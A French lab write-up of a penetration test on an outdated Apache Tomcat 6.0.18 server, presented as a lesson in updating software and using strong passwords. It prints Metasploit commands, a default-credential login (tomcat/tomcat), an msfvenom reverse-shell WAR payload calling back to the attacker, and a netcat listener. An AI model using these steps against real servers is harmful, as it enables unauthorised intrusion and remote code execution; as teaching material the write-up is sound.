Test d'intrusion sur un serveur Apache Tomcat
Ce write-up présente les possibles vulnérabilités d’un serveur Apache tomcat 6.18 (ancienne version) afin de sensibiliser l’utilisateur à certaines bonnes pratiques lors la configuration d’un serveur apache tomcat, notamment :
-Tenir à jour sa version tomcat
-Utiliser des mots de passes forts
Tous les exemples montrés sur cet article l’ont été sur des machines de laboratoires.
Introduction
Lors d’un laboratoire, après avoir avoir scanné le réseau avec nmap, j’ai pu voir qu’un serveur tomcat tournait sur le port 8080 à l’adresse
En accédant depuis le navigateur, j’accédais à la page d’accueil du serveur. En rouge, deux adresses url intéressantes car elles permettent d’accéder à l’interface d’administration du serveur.
Tentative
Avant de trouver la bonne solution, quelques tentatives ont été réalisées avec metasploit
tomcat_enum
Ce module énumère les noms d’utilisateurs apache en envoyant des requête malformées au j_security_check.
Version vulnérable : 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18
Les nouvelles versions de Tomcat ne sont pas vulnérable
use auxiliary/scanner/http/tomcat_enum
set RHOST <target IP:PORT>
run
Source :
- https://www.rapid7.com/db/modules/auxiliary/scanner/http/tomcat_enum/
- https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat#examples
Résultat
L’attaque n’a pas fonctionnée dans mon cas
dir_scanner
Le scanner de répertoire permet de scanner un serveur web afin de trouver des répertoires intéressants.
use auxiliary/scanner/http/dir_scanner
SET RHOST <target IP>
set RPOT <traget PORT>
run
Source :
www.offensive-security.com - scanner-http-auxiliary-modules/
Résultat
L’exploit n’a pas trouvé de répertoires sensibles.
Brute-force login
Le module tomcat_mgr_login permet de brute-forcer la page de login du manager :
Source :
- www.rapid7.com - http/tomcat_mgr_login/
- https://charlesreid1.com/wiki/Metasploitable/Apache/Tomcat_and_Coyote
Solution
Sur la page http, on peut voir un lien url vers la page manager demandant un mot de passe et un nom d’utilisateur.
“Brute-force” manuel du login
Sur ce github, on peut trouver tout une liste de mot de passe habituel/par défaut : https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown
En cherchant également sur internet, je suis tombé sur plusieurs articles qui utilisaient la pair tomcat /tomcat comme nom d’utilisateur / mot de passe.
En essayant sur la page => bingo.
On arrive ainsi sur la page manager
shell - Upload war
Une fois sur la page de manager, on peut tenter d’obtenir un reverse shell un uploadant un fichier war.
Tentative ratée
Ayant mal configuré mon metasploit,t j’ai crû que les modules metasploit ne fonctionnaient pas. J’obtenais l’erreur suivante :
Handler failed to bind
J’ai donc tenté de “crafté” moi-même mon war en passant par msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war -o rshell3.war
Puis après avoir cliqué sur le fichier uploadé dans le manager, j’ai lancé avec metasploit et netcat des serveurs pour “écouter”
- metasploit
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set LHOST <IP>
set LPORT <PORT>
exploit
Documentation officielle : offensive-security.com - scanner-http-auxiliary-modules/
- netcat
nc -lvp 1234
J’ai probablement mal configuré mes attaques car celles-ci ne fonctionnaient pas
Source
Cet article explique comment créer son propre payload avec MSFVenom
vk9-sec.com/apache-tomcat-manager-war-reverse-shell/
Tentative réussie
J’ai retenté avec metasploit où j’ai découvert que je n’avais pas configuré mon LHOST et c’était alors mon IP habituel au lieu de celle du VPN qui était prise. C’est pour cela que j’avais l’erreur
Handler failed to bind
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS <target IP>
set RPORT 8080
set LHOST <IP>
set HttpUsername tomcat
set HttpPassword tomcat
exploit
Il suffit ensuite d’attendre quelques instants pour obtenir une session meterpreter et le tour est joué :)

Sur le manager, on peut constater qu’un fichier a été uploadé

Source :
rapid7.com - http/tomcat_mgr_upload/
Sources
- https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/
- https://vk9-sec.com/apache-tomcat-manager-war-reverse-shell/
- https://charlesreid1.com/wiki/Metasploitable/Apache/Tomcat_and_Coyote
- Plusieurs attaques sur tomcat : book.hacktricks.xyz - tomcat#examples
- Documentation officielle metasploit : rapid7.com - http/tomcat_mgr_upload/